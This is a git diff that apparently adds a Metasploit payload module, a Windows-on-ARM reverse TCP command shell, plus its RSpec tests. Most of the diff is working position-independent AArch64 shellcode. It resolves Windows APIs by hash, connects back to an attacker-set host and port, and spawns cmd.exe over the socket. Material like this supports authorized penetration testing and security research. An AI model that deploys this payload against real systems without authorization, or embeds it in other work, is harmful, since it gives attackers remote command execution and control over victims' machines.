diff --git a/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb new file mode 100644 index 0000000000000..52b5c9547ee49 --- /dev/null +++ b/modules/payloads/singles/windows/aarch64/shell_reverse_tcp.rb @@ -0,0 +1,362 @@ +# frozen_string_literal: true + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 664 + + include Msf::Payload::Windows + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Windows AArch64 Command Shell, Reverse TCP Inline', + 'Description' => %q{ + Connect back to the attacker and spawn a Windows command shell on a + Windows on ARM (AArch64) target. Position-independent shellcode that + resolves API addresses via PEB / Export Address Table hashing + (Stephen Fewer ROR-13), opens a TCP socket through Winsock, calls + WSAConnect, then spawns cmd.exe with stdin/stdout/stderr piped over + the socket via CreateProcessA + STARTF_USESTDHANDLES. EXITFUNC is + honored via a runtime hash-dispatcher. + }, + 'Author' => [ + 'vinicius-batistella' # AArch64 reverse_tcp port from the x64 stager logic + ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_AARCH64, + 'Handler' => Msf::Handler::ReverseTcp, + 'Session' => Msf::Sessions::CommandShell, + 'Payload' => { 'Offsets' => {}, 'Payload' => '' }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + end + + def generate(_opts = {}) + lhost = datastore['LHOST'] + unless Rex::Socket.is_ipv4?(lhost) + raise ArgumentError, 'LHOST must be in IPv4 format.' + end + + ip_bytes = Rex::Socket.addr_aton(lhost) + + # Map LHOST/LPORT onto the MOVK immediates inside fill_sockaddr_fast. + # sin_port: network-order bytes loaded as a little-endian 16-bit imm. + # sin_addr: octets 0..1 -> low halfword, octets 2..3 -> high halfword. + port_imm = [datastore['LPORT'].to_i].pack('n').unpack1('v') + ip_lo_imm = ip_bytes[0, 2].unpack1('v') + ip_hi_imm = ip_bytes[2, 2].unpack1('v') + + # The exitfunk block re-resolves the chosen kernel32 exit API by hash + # at runtime; we patch the two MOVZ/MOVK immediates with the hash. + exit_hash = exitfunk_hash(datastore['EXITFUNC']) + + asm = build_asm( + port_imm: port_imm, + ip_lo_imm: ip_lo_imm, + ip_hi_imm: ip_hi_imm, + exit_lo: exit_hash & 0xFFFF, + exit_hi: (exit_hash >> 16) & 0xFFFF + ) + + compile_aarch64(asm) + end + + private + + # ROR-13 hash of a kernel32 export name, matching the asm find_function + # routine. The asm stops on CBZ before adding the NUL terminator, so we + # hash bytes only (no trailing zero). + # + # Sanity checks (verified against rev2.s constants): + # ror13_hash('TerminateProcess') == 0x78b5b983 + # ror13_hash('LoadLibraryA') == 0xec0e4e8e + # ror13_hash('CreateProcessA') == 0x16b3fe72 + def ror13_hash(str) + h = 0 + str.each_byte do |b| + h = ((h >> 13) | (h << 19)) & 0xFFFFFFFF + h = (h + b) & 0xFFFFFFFF + end + h + end + + def exitfunk_hash(value) + case value.to_s.downcase + when 'thread' + ror13_hash('ExitThread') + when 'process', '' + 0x78b5b983 # TerminateProcess (known constant; also == ror13_hash('TerminateProcess')) + when 'none' + # 'none' is best-effort here: we still need *something* to call so the + # shellcode doesn't fall off into garbage. ExitProcess is the safest. + ror13_hash('ExitProcess') + else + 0x78b5b983 + end + end + + def build_asm(port_imm:, ip_lo_imm:, ip_hi_imm:, exit_lo:, exit_hi:) + # Differences from the standalone rev2.s prototype: + # - `.text` / `.global` directives stripped (aarch64 gem rejects them) + # - `[reg, wreg, uxtw #N]` rewritten as `mov w15, w4; lsl x15, x15, #N; + # add x15, base, x15; ldr ...` to avoid extended-register addressing + # in the aarch64 gem parser + # - constant expressions like `(12*2)` pre-evaluated to literals + # - `mov x0, #-1` replaced with `movn x0, #0` (canonical encoding) + # + # Slot table (x29 + offset): + # 0x00 kernel32_base 0x08 &find_function 0x18 LoadLibraryA + # 0x28 WSAStartup 0x30 WSASocketA 0x38 WSAConnect + # 0x40 CreateProcessA 0x50 sockaddr_in 0x70 WSADATA + # Gaps at 0x10 and 0x20 are intentional -- previously held cached + # TerminateProcess (re-resolved by exitfunk now) and OpenProcessToken + # (was unused dead code), preserved to keep slot offsets stable. + <<~ASM + main: + sub sp, sp, #0x300 + mov x29, sp + add x19, x29, #0x50 + add x21, x29, #0x70 + + find_kernel32: + ldr x6, [x18, #0x60] + ldr x6, [x6, #0x18] + ldr x6, [x6, #0x30] + + next_module: + ldr x3, [x6, #0x10] + ldr x7, [x6, #0x40] + ldr x6, [x6] + ldrh w8, [x7, #24] + cbnz w8, next_module + + find_function_shorten: + b find_function_shorten_bnc + + find_function_ret: + str x30, [x29, #0x08] + b resolve_symbols_kernel32 + + find_function_shorten_bnc: + bl find_function_ret + + find_function: + mov w10, w0 + ldr w8, [x3, #0x3c] + add x8, x8, x3 + ldr w9, [x8, #0x88] + add x9, x9, x3 + ldr w4, [x9, #0x18] + ldr w11, [x9, #0x20] + add x11, x11, x3 + + find_function_loop: + cbz w4, find_function_finished + sub w4, w4, #1 + mov w15, w4 + lsl x15, x15, #2 + add x15, x11, x15 + ldr w12, [x15] + add x6, x12, x3 + + compute_hash: + mov w5, wzr + + compute_hash_again: + ldrb w0, [x6], #1 + cbz w0, compute_hash_finished + ror w5, w5, #13 + add w5, w5, w0 + b compute_hash_again + + compute_hash_finished: + find_function_compare: + cmp w5, w10 + b.ne find_function_loop + + ldr w12, [x9, #0x24] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #1 + add x15, x12, x15 + ldrh w4, [x15] + ldr w12, [x9, #0x1c] + add x12, x12, x3 + mov w15, w4 + lsl x15, x15, #2 + add x15, x12, x15 + ldr w13, [x15] + add x0, x13, x3 + + find_function_finished: + ret + + resolve_symbols_kernel32: + str x3, [x29, #0x00] + + movz w0, #0x4e8e + movk w0, #0xec0e, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x18] + + resolve_symbols_CreateProcessA: + movz w0, #0xfe72 + movk w0, #0x16b3, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x40] + + load_ws2_32: + movz x0, #0x7357 + movk x0, #0x5f32, lsl #16 + movk x0, #0x3233, lsl #32 + movk x0, #0x642e, lsl #48 + movz w1, #0x6c6c + sub sp, sp, #16 + str x0, [sp] + str w1, [sp, #8] + mov x0, sp + ldr x9, [x29, #0x18] + blr x9 + add sp, sp, #16 + mov x3, x0 + + resolve_ws2_32: + movz w0, #0xedcb + movk w0, #0x3bfc, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x28] + + movz w0, #0x09d9 + movk w0, #0xadf5, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x30] + + movz w0, #0xba0c + movk w0, #0xb32d, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + str x0, [x29, #0x38] + + call_WSAStartup: + movz w0, #0x0202 + mov x1, x21 + ldr x9, [x29, #0x28] + blr x9 + + call_WSASocket: + mov w0, #2 + mov w1, #1 + mov w2, #6 + mov x3, xzr + mov w4, wzr + mov w5, wzr + ldr x9, [x29, #0x30] + blr x9 + mov x22, x0 + + fill_sockaddr_fast: + movz x0, #0x0002 + movk x0, ##{format('0x%04x', port_imm)}, lsl #16 + movk x0, ##{format('0x%04x', ip_lo_imm)}, lsl #32 + movk x0, ##{format('0x%04x', ip_hi_imm)}, lsl #48 + stp x0, xzr, [x19] + + call_WSAConnect: + mov x0, x22 + mov x1, x19 + mov w2, #16 + mov x3, xzr + mov x4, xzr + mov x5, xzr + mov x6, xzr + ldr x9, [x29, #0x38] + blr x9 + + build_PROCESS_INFORMATION_and_STARTUPINFOA: + sub sp, sp, #0xB0 + add x10, sp, #0x10 + add x11, sp, #0x30 + add x12, sp, #0xA0 + + stp xzr, xzr, [x10] + str xzr, [x10, #16] + + stp xzr, xzr, [x11, #0x00] + stp xzr, xzr, [x11, #0x10] + stp xzr, xzr, [x11, #0x20] + stp xzr, xzr, [x11, #0x30] + stp xzr, xzr, [x11, #0x40] + stp xzr, xzr, [x11, #0x50] + str xzr, [x11, #0x60] + + mov w0, #0x68 + str w0, [x11, #0x00] + mov w0, #0x100 + str w0, [x11, #0x3C] + str x22, [x11, #0x50] + str x22, [x11, #0x58] + str x22, [x11, #0x60] + + movz x0, #0x6D63 + movk x0, #0x2E64, lsl #16 + movk x0, #0x7865, lsl #32 + movk x0, #0x0065, lsl #48 + str x0, [x12] + + call_CreateProcessA: + mov x0, xzr + mov x1, x12 + mov x2, xzr + mov x3, xzr + mov w4, #1 + mov w5, wzr + mov x6, xzr + mov x7, xzr + stp x11, x10, [sp] + + ldr x9, [x29, #0x40] + blr x9 + + add sp, sp, #0xB0 + + exitfunk: + ldr x3, [x29, #0x00] + movz w0, ##{format('0x%04x', exit_lo)} + movk w0, ##{format('0x%04x', exit_hi)}, lsl #16 + ldr x9, [x29, #0x08] + blr x9 + mov x10, x0 + movn x0, #0 + mov w1, wzr + blr x10 + brk #0 + ASM + end + + def compile_aarch64(asm_string) + require 'aarch64/parser' + parser = ::AArch64::Parser.new + asm = parser.parse(without_inline_comments(asm_string)) + asm.to_binary + end + + def without_inline_comments(string) + string.lines.map { |line| line.split('//', 2).first.strip }.reject(&:empty?).join("\n") + end +end diff --git a/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb new file mode 100644 index 0000000000000..98250a0151109 --- /dev/null +++ b/spec/modules/payloads/singles/windows/aarch64/shell_reverse_tcp_spec.rb @@ -0,0 +1,65 @@ +# frozen_string_literal: true + +require 'rspec' + +RSpec.describe 'singles/windows/aarch64/shell_reverse_tcp' do + include_context 'Msf::Simple::Framework#modules loading' + + let(:subject) do + load_and_create_module( + module_type: 'payload', + reference_name: 'windows/aarch64/shell_reverse_tcp', + ancestor_reference_names: [ + 'singles/windows/aarch64/shell_reverse_tcp' + ] + ) + end + + before(:each) do + subject.datastore.merge!('LHOST' => '192.0.2.1', 'LPORT' => '4444') + end + + describe '#generate' do + def stub_compile_with_capture + captured = [] + allow(subject).to receive(:compile_aarch64).and_wrap_original do |original, asm| + compiled_asm = original.call asm + expect(compiled_asm.length).to be > 0 + captured << compiled_asm + compiled_asm + end + captured + end + + it 'compiles the AArch64 asm and returns a non-empty binary' do + stub_compile_with_capture + expect(subject.generate).not_to be_empty + end + + it 'produces different shellcode for different LPORT values' do + stub_compile_with_capture + raw_default = subject.generate + subject.datastore['LPORT'] = '9999' + raw_other = subject.generate + expect(raw_default).not_to eq(raw_other) + end + + it 'produces different shellcode for different LHOST values' do + stub_compile_with_capture + raw_default = subject.generate + subject.datastore['LHOST'] = '198.51.100.7' + raw_other = subject.generate + expect(raw_default).not_to eq(raw_other) + end + + %w[process thread none].each do |exitfunc| + context "when EXITFUNC is #{exitfunc}" do + it 'compiles successfully' do + stub_compile_with_capture + subject.datastore['EXITFUNC'] = exitfunc + expect(subject.generate).not_to be_empty + end + end + end + end +end diff --git a/spec/modules/payloads_spec.rb b/spec/modules/payloads_spec.rb index 5e9c52b309d22..19c212442c44f 100644 --- a/spec/modules/payloads_spec.rb +++ b/spec/modules/payloads_spec.rb @@ -4914,6 +4914,15 @@ reference_name: 'windows/aarch64/exec' end + context 'windows/aarch64/shell_reverse_tcp' do + it_should_behave_like 'payload cached size is consistent', + ancestor_reference_names: [ + 'singles/windows/aarch64/shell_reverse_tcp' + ], + modules_pathname: modules_pathname, + reference_name: 'windows/aarch64/shell_reverse_tcp' + end + context 'windows/x64/download_exec' do it_should_behave_like 'payload cached size is consistent', ancestor_reference_names: [